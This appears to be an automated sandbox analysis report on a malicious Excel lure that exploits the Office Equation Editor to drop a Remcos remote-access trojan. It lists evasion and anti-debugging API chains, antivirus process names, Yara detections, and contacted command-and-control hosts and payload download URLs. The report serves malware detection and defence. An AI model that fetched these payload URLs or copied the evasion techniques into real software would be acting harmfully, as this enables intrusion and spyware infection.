Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: Home Purchase Contract and Property Details.xls Stream path 'MBD00099100/Package' entropy: 7.95104444318 (max. 8.0)
Source: Home Purchase Contract and Property Details.xls Stream path 'Workbook' entropy: 7.99059170433 (max. 8.0)
Source: ~DF78F515A159E2AA69.TMP.0.dr Stream path 'Package' entropy: 7.94211196967 (max. 8.0)
Source: 0B430000.0.dr Stream path 'MBD00099100/Package' entropy: 7.94211196967 (max. 8.0)
Source: 0B430000.0.dr Stream path 'Workbook' entropy: 7.99751644532 (max. 8.0)
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Malware Analysis System Evasion
barindex
Contains functionality to detect sleep reduction / modifications
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Code function: 11_2_02C8CC94 11_2_02C8CC94
Delayed program exit found
Source: C:\Users\user\AppData\Roaming\csrss.exe Code function: 8_2_33D4F7A7 Sleep,ExitProcess, 8_2_33D4F7A7
Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Evasive API call chain: GetPEB, DecisionNodes, ExitProcess
Contains functionality to enumerate running services
Source: C:\Users\user\AppData\Roaming\csrss.exe Code function: OpenSCManagerA,EnumServicesStatusW,GetLastError,EnumServicesStatusW,OpenServiceW,QueryServiceConfigW,GetLastError,QueryServiceConfigW,CloseServiceHandle,CloseServiceHandle, 8_2_33D5A748
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Users\user\AppData\Roaming\csrss.exe Window / User API: threadDelayed 422 Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Window / User API: threadDelayed 9260 Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Window / User API: foregroundWindowGot 1733 Jump to behavior
Found decision node followed by non-executed suspicious APIs
Source: C:\Users\user\AppData\Roaming\csrss.exe Decision node followed by non-executed suspicious API: DecisionNode, Non Executed (send or recv or WinExec)
Found evasive API chain (date check)
Source: C:\Users\user\AppData\Roaming\csrss.exe Evasive API call chain: GetLocalTime,DecisionNodes
Found large amount of non-executed APIs
Source: C:\Users\Public\Libraries\Efftwcmk.PIF API coverage: 10.0 %
May check if the current machine is a sandbox (GetTickCount - Sleep)
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Code function: 11_2_02C8CC94 11_2_02C8CC94
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 3720 Thread sleep time: -240000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe TID: 3928 Thread sleep time: -64000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe TID: 3932 Thread sleep time: -1266000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe TID: 3956 Thread sleep time: -120000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe TID: 3932 Thread sleep time: -27780000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Code function: 8_2_33D8E879 FindFirstFileExA, 8_2_33D8E879
Source: C:\Users\user\AppData\Roaming\csrss.exe Code function: 8_2_33D4C34D FindFirstFileW,PathFileExistsW,FindNextFileW,FindClose,FindClose, 8_2_33D4C34D
Source: C:\Users\user\AppData\Roaming\csrss.exe Code function: 8_2_33D4BB30 FindFirstFileA,FindClose,DeleteFileA,GetLastError,DeleteFileA,GetLastError,FindNextFileA,FindClose, 8_2_33D4BB30
Source: C:\Users\user\AppData\Roaming\csrss.exe Code function: 8_2_33D59AF5 FindFirstFileW, 8_2_33D59AF5
Source: C:\Users\user\AppData\Roaming\csrss.exe Code function: 8_2_33D5C291 FindFirstFileW,FindNextFileW,RemoveDirectoryW,SetFileAttributesW,DeleteFileW,GetLastError,FindClose,RemoveDirectoryW,FindClose, 8_2_33D5C291
Source: C:\Users\user\AppData\Roaming\csrss.exe Code function: 8_2_33D4880C FindFirstFileW,FindNextFileW,FindClose, 8_2_33D4880C
Source: C:\Users\user\AppData\Roaming\csrss.exe Code function: 8_2_33D4783C FindFirstFileW,FindNextFileW, 8_2_33D4783C
Source: C:\Users\user\AppData\Roaming\csrss.exe Code function: 8_2_33D49665 FindFirstFileW,FindNextFileW,FindClose,FindClose, 8_2_33D49665
Source: C:\Users\user\AppData\Roaming\csrss.exe Code function: 8_2_33D4BD37 FindFirstFileA,FindClose,DeleteFileA,GetLastError,FindNextFileA,FindClose,FindClose, 8_2_33D4BD37
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Code function: 11_2_02C758B4 GetModuleHandleA,GetProcAddress,lstrcpynA,lstrcpynA,lstrcpynA,FindFirstFileA,FindClose,lstrlenA,lstrcpynA,lstrlenA,lstrcpynA, 11_2_02C758B4
Source: C:\Users\user\AppData\Roaming\csrss.exe API call chain: ExitProcess graph end node
Source: C:\Users\Public\Libraries\Efftwcmk.PIF API call chain: ExitProcess graph end node
Checks if the current process is being debugged
Source: C:\Users\user\AppData\Roaming\csrss.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Process queried: DebugFlags Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Process queried: DebugPort Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Process queried: DebugFlags Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Process queried: DebugPort Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Process queried: DebugFlags Jump to behavior
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Source: C:\Users\user\AppData\Roaming\csrss.exe Code function: 8_2_33D7BB22 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 8_2_33D7BB22
Contains functionality to dynamically determine API calls
Source: C:\Users\user\AppData\Roaming\csrss.exe Code function: 8_2_33D54D86 GetSystemDirectoryA,LoadLibraryA,LoadLibraryA,GetProcAddress, 8_2_33D54D86
Contains functionality to read the PEB
Source: C:\Users\user\AppData\Roaming\csrss.exe Code function: 8_2_33D832B5 mov eax, dword ptr fs:[00000030h] 8_2_33D832B5
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Code function: 11_2_2D2632B5 mov eax, dword ptr fs:[00000030h] 11_2_2D2632B5
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Code function: 11_2_02CB73AD mov eax, dword ptr fs:[00000030h] 11_2_02CB73AD
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Source: C:\Users\user\AppData\Roaming\csrss.exe Code function: 8_2_33D52077 GetProcessHeap,HeapFree, 8_2_33D52077
Source: C:\Users\user\AppData\Roaming\csrss.exe Code function: 8_2_33D74B47 SetUnhandledExceptionFilter, 8_2_33D74B47
Source: C:\Users\user\AppData\Roaming\csrss.exe Code function: 8_2_33D7BB22 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 8_2_33D7BB22
Source: C:\Users\user\AppData\Roaming\csrss.exe Code function: 8_2_33D749F9 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 8_2_33D749F9
Source: C:\Users\user\AppData\Roaming\csrss.exe Code function: 8_2_33D749F8 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 8_2_33D749F8
Source: C:\Users\user\AppData\Roaming\csrss.exe Code function: 8_2_33D74FDC SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 8_2_33D74FDC
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Code function: 11_2_2D254FDC SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 11_2_2D254FDC
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Code function: 11_2_2D25BB22 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 11_2_2D25BB22
Contains functionality to simulate mouse events
Source: C:\Users\user\AppData\Roaming\csrss.exe Code function: 8_2_33D59627 mouse_event, 8_2_33D59627
Creates a process in suspended mode (likely to inject code)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\user\AppData\Roaming\csrss.exe "C:\Users\user\AppData\Roaming\csrss.exe" Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Process created: C:\Windows\SysWOW64\extrac32.exe C:\\Windows\\System32\\extrac32.exe /C /Y C:\Users\user\AppData\Roaming\csrss.exe C:\\Users\\Public\\Libraries\\Efftwcmk.PIF Jump to behavior
Source: csrss.exe, 00000008.00000002.1007133666.0000000000723000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: Program Managery] [Compatibility Mode] - Microsoft Word
Source: csrss.exe, 00000008.00000002.1015314585.0000000052030000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Program ManagerLD\ini3dU
Source: csrss.exe, 00000008.00000002.1007133666.0000000000723000.00000004.00000001.00020000.00000000.sdmp, csrss.exe, 00000008.00000002.1007133666.000000000077F000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: |Program Manager|
Source: logs.dat.8.dr Binary or memory string: [Program Manager]
Contains functionality to query CPU information (cpuid)
Source: C:\Users\user\AppData\Roaming\csrss.exe Code function: 8_2_33D74C52 cpuid 8_2_33D74C52
Contains functionality to query locales information (e.g. system language)
Source: C:\Users\user\AppData\Roaming\csrss.exe Code function: GetLocaleInfoW, 8_2_33D92313
Source: C:\Users\user\AppData\Roaming\csrss.exe Code function: GetLocaleInfoW, 8_2_33D888ED
Source: C:\Users\user\AppData\Roaming\csrss.exe Code function: EnumSystemLocalesW, 8_2_33D92036
Source: C:\Users\user\AppData\Roaming\csrss.exe Code function: EnumSystemLocalesW, 8_2_33D91F9B
Source: C:\Users\user\AppData\Roaming\csrss.exe Code function: EnumSystemLocalesW, 8_2_33D91F50
Source: C:\Users\user\AppData\Roaming\csrss.exe Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW, 8_2_33D92610
Source: C:\Users\user\AppData\Roaming\csrss.exe Code function: GetLocaleInfoW, 8_2_33D92543
Source: C:\Users\user\AppData\Roaming\csrss.exe Code function: IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW, 8_2_33D91CD8
Source: C:\Users\user\AppData\Roaming\csrss.exe Code function: EnumSystemLocalesW, 8_2_33D88404
Source: C:\Users\user\AppData\Roaming\csrss.exe Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP, 8_2_33D9243C
Source: C:\Users\user\AppData\Roaming\csrss.exe Code function: GetLocaleInfoA, 8_2_33D4F8D1
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Code function: InetIsOffline,CoInitialize,CoUninitialize,WinExec,WinExec,RtlMoveMemory,GetCurrentProcess,EnumSystemLocalesA,GetCurrentProcess,GetCurrentProcess,GetCurrentProcess,GetCurrentProcess,GetCurrentProcess,GetCurrentProcess,ExitProcess, 11_2_02C8D754
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Code function: GetModuleFileNameA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegQueryValueExA,RegQueryValueExA,RegCloseKey,lstrcpynA,GetThreadLocale,GetLocaleInfoA,lstrlenA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA, 11_2_02C75A78
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Code function: InetIsOffline,CoInitialize,CoUninitialize,WinExec,WinExec,RtlMoveMemory,GetCurrentProcess,EnumSystemLocalesA,GetCurrentProcess,GetCurrentProcess,GetCurrentProcess,GetCurrentProcess,GetCurrentProcess,GetCurrentProcess,ExitProcess, 11_2_02C8D754
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Code function: GetLocaleInfoA, 11_2_02C7A788
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Code function: GetLocaleInfoA, 11_2_02C7A73C
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Code function: GetCurrentProcess,EnumSystemLocalesA,GetCurrentProcess,GetCurrentProcess,GetCurrentProcess,GetCurrentProcess,GetCurrentProcess,GetCurrentProcess,ExitProcess, 11_2_02C944DE
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Code function: lstrcpynA,GetThreadLocale,GetLocaleInfoA,lstrlenA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA, 11_2_02C75B84
Source: C:\Users\user\AppData\Roaming\csrss.exe Code function: 8_2_33D88957 GetSystemTimeAsFileTime, 8_2_33D88957
Source: C:\Users\user\AppData\Roaming\csrss.exe Code function: 8_2_33D5B60D GetComputerNameExW,GetUserNameW, 8_2_33D5B60D
Source: C:\Users\user\AppData\Roaming\csrss.exe Code function: 8_2_33D89365 _free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,_free, 8_2_33D89365
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Code function: 11_2_02C7B704 GetVersionExA, 11_2_02C7B704
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior
AV process strings found (often used to terminate AV products)
Source: csrss.exe, 00000008.00000003.430261701.000000007DD80000.00000004.00000800.00020000.00000000.sdmp, csrss.exe, 00000008.00000003.430311842.000000007E3A0000.00000004.00000800.00020000.00000000.sdmp, Efftwcmk.PIF, 0000000B.00000002.474056612.000000007E280000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: cmdagent.exe
Source: csrss.exe, 00000008.00000003.430261701.000000007DD80000.00000004.00000800.00020000.00000000.sdmp, csrss.exe, 00000008.00000003.430311842.000000007E3A0000.00000004.00000800.00020000.00000000.sdmp, Efftwcmk.PIF, 0000000B.00000002.474056612.000000007E280000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: quhlpsvc.exe
Source: csrss.exe, 00000008.00000003.430261701.000000007DD80000.00000004.00000800.00020000.00000000.sdmp, csrss.exe, 00000008.00000003.430311842.000000007E3A0000.00000004.00000800.00020000.00000000.sdmp, Efftwcmk.PIF, 0000000B.00000002.474056612.000000007E280000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: avgamsvr.exe
Source: csrss.exe, 00000008.00000003.430261701.000000007DD80000.00000004.00000800.00020000.00000000.sdmp, csrss.exe, 00000008.00000003.430311842.000000007E3A0000.00000004.00000800.00020000.00000000.sdmp, Efftwcmk.PIF, 0000000B.00000002.474056612.000000007E280000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: TMBMSRV.exe
Source: csrss.exe, 00000008.00000003.430261701.000000007DD80000.00000004.00000800.00020000.00000000.sdmp, csrss.exe, 00000008.00000003.430311842.000000007E3A0000.00000004.00000800.00020000.00000000.sdmp, Efftwcmk.PIF, 0000000B.00000002.474056612.000000007E280000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Vsserv.exe
Source: csrss.exe, 00000008.00000003.430261701.000000007DD80000.00000004.00000800.00020000.00000000.sdmp, csrss.exe, 00000008.00000003.430311842.000000007E3A0000.00000004.00000800.00020000.00000000.sdmp, Efftwcmk.PIF, 0000000B.00000002.474056612.000000007E280000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: avgupsvc.exe
Source: csrss.exe, 00000008.00000003.430261701.000000007DD80000.00000004.00000800.00020000.00000000.sdmp, csrss.exe, 00000008.00000003.430311842.000000007E3A0000.00000004.00000800.00020000.00000000.sdmp, Efftwcmk.PIF, 0000000B.00000002.474056612.000000007E280000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: avgemc.exe
Source: csrss.exe, 00000008.00000003.430261701.000000007DD80000.00000004.00000800.00020000.00000000.sdmp, csrss.exe, 00000008.00000003.430311842.000000007E3A0000.00000004.00000800.00020000.00000000.sdmp, Efftwcmk.PIF, 0000000B.00000002.474056612.000000007E280000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information
barindex
Yara detected Remcos RAT
Source: Yara match File source: 11.2.Efftwcmk.PIF.2d220000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.Efftwcmk.PIF.2d220000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000000B.00000002.463489236.00000000006B2000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.479146346.00000000009F3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.473812700.000000007DBE0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.1007133666.000000000077F000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.470885800.000000002D220000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: csrss.exe PID: 3832, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: Efftwcmk.PIF PID: 1696, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: Efftwcmk.PIF PID: 920, type: MEMORYSTR
Source: Yara match File source: C:\ProgramData\notes\logs.dat, type: DROPPED

Remote Access Functionality
barindex
Detected Remcos RAT
Source: C:\Users\user\AppData\Roaming\csrss.exe Mutex created: \Sessions\1\BaseNamedObjects\Rmc-9VASLD Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Mutex created: \Sessions\1\BaseNamedObjects\Rmc-9VASLD Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Mutex created: \Sessions\1\BaseNamedObjects\Rmc-9VASLD Jump to behavior
Yara detected Remcos RAT
Source: Yara match File source: 11.2.Efftwcmk.PIF.2d220000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.Efftwcmk.PIF.2d220000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000000B.00000002.463489236.00000000006B2000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.479146346.00000000009F3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.473812700.000000007DBE0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.1007133666.000000000077F000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.470885800.000000002D220000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: csrss.exe PID: 3832, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: Efftwcmk.PIF PID: 1696, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: Efftwcmk.PIF PID: 920, type: MEMORYSTR
Source: Yara match File source: C:\ProgramData\notes\logs.dat, type: DROPPED
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1446719 Sample: Home Purchase Contract and ... Startdate: 23/05/2024 Architecture: WINDOWS Score: 100 60 qr-in.com 2->60 66 Found malware configuration 2->66 68 Malicious sample detected (through community Yara rule) 2->68 70 Antivirus detection for URL or domain 2->70 72 22 other signatures 2->72 8 EXCEL.EXE 59 47 2->8         started        12 Efftwcmk.PIF 2->12         started        15 Efftwcmk.PIF 2->15         started        signatures3 process4 dnsIp5 62 94.156.67.72, 49162, 49166, 49168 TERASYST-ASBG Bulgaria 8->62 64 qr-in.com 188.114.96.3, 49161, 49163, 49164 CLOUDFLARENETUS European Union 8->64 50 lionsaretotalcontr...ejunglelions[1].doc, ISO-8859 8->50 dropped 17 csrss.exe 4 15 8->17         started        22 WINWORD.EXE 337 39 8->22         started        96 Multi AV Scanner detection for dropped file 12->96 98 Detected Remcos RAT 12->98 100 Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors) 12->100 102 Contains functionality to detect sleep reduction / modifications 12->102 file6 signatures7 process8 dnsIp9 52 wwsaer.duckdns.org 17->52 54 wwsaer.duckdns.org 91.92.251.26, 49173, 8533 THEZONEBG Bulgaria 17->54 58 8 other IPs or domains 17->58 30 C:\Users\Public\Librariesfftwcmk, data 17->30 dropped 32 C:\Users\Publicfftwcmk.url, MS 17->32 dropped 34 C:\ProgramData\notes\logs.dat, data 17->34 dropped 74 Multi AV Scanner detection for dropped file 17->74 76 Detected Remcos RAT 17->76 78 Installs new ROOT certificates 17->78 88 4 other signatures 17->88 24 extrac32.exe 1 17->24         started        56 qr-in.com 22->56 36 C:\Users\user\AppData\...\qr-in.com.url, MS 22->36 dropped 38 C:\Users\user\AppData\Roaming\...38AvSGzZ.url, MS 22->38 dropped 40 ~WRF{618DEECE-5CD1...8-87A2956FA503}.tmp, Composite 22->40 dropped 42 C:\Users\user\AppData\Local\...\398EA60A.doc, ISO-8859 22->42 dropped 80 Microsoft Office launches external ms-search protocol handler (WebDAV) 22->80 82 Office viewer loads remote template 22->82 84 Microsoft Office drops suspicious files 22->84 28 EQNEDT32.EXE 12 22->28         started        file10 86 Uses dynamic DNS services 52->86 signatures11 process12 file13 44 C:\Users\Public\Librariesfftwcmk.PIF, PE32 24->44 dropped 90 Drops PE files with a suspicious file extension 24->90 46 C:\Users\user\AppData\Roaming\csrss.exe, PE32 28->46 dropped 48 C:\Users\user\AppData\Local\...\csrss[1].exe, PE32 28->48 dropped 92 Office equation editor establishes network connection 28->92 94 Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802) 28->94 signatures14
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
150.171.41.11
 dual-spov-0006.spov-dc-msedge.net United States
8068 MICROSOFT-CORP-MSN-AS-BLOCKUS false
13.107.137.11
 dual-spov-0006.spov-msedge.net United States
8068 MICROSOFT-CORP-MSN-AS-BLOCKUS false
91.92.251.26
 wwsaer.duckdns.org Bulgaria
34368 THEZONEBG true
188.114.96.3
 qr-in.com European Union
13335 CLOUDFLARENETUS true
94.156.67.72
 unknown Bulgaria
31420 TERASYST-ASBG true
178.237.33.50
 geoplugin.net Netherlands
8455 ATOM86-ASATOM86NL false

Contacted Domains

Name IP Active
qr-in.com 188.114.96.3 true
dual-spov-0006.spov-msedge.net 13.107.137.11 true
geoplugin.net 178.237.33.50 true
wwsaer.duckdns.org 91.92.251.26 true
dual-spov-0006.spov-dc-msedge.net 150.171.41.11 true
onedrive.live.com unknown unknown
f3rtrw.bl.files.1drv.com unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
wwsaer.duckdns.org true
  • Avira URL Cloud: safe
 unknown
http://qr-in.com/NAvSGzZ false
  • Avira URL Cloud: safe
 unknown
http://geoplugin.net/json.gp true
  • URL Reputation: phishing
 unknown
http://94.156.67.72/4020/csrss.exe true
  • Avira URL Cloud: safe
 unknown
https://onedrive.live.com/download?resid=77E389B66C951B09%21132&authkey=!AD_QXcfalkvUogo true
  • Avira URL Cloud: safe
 unknown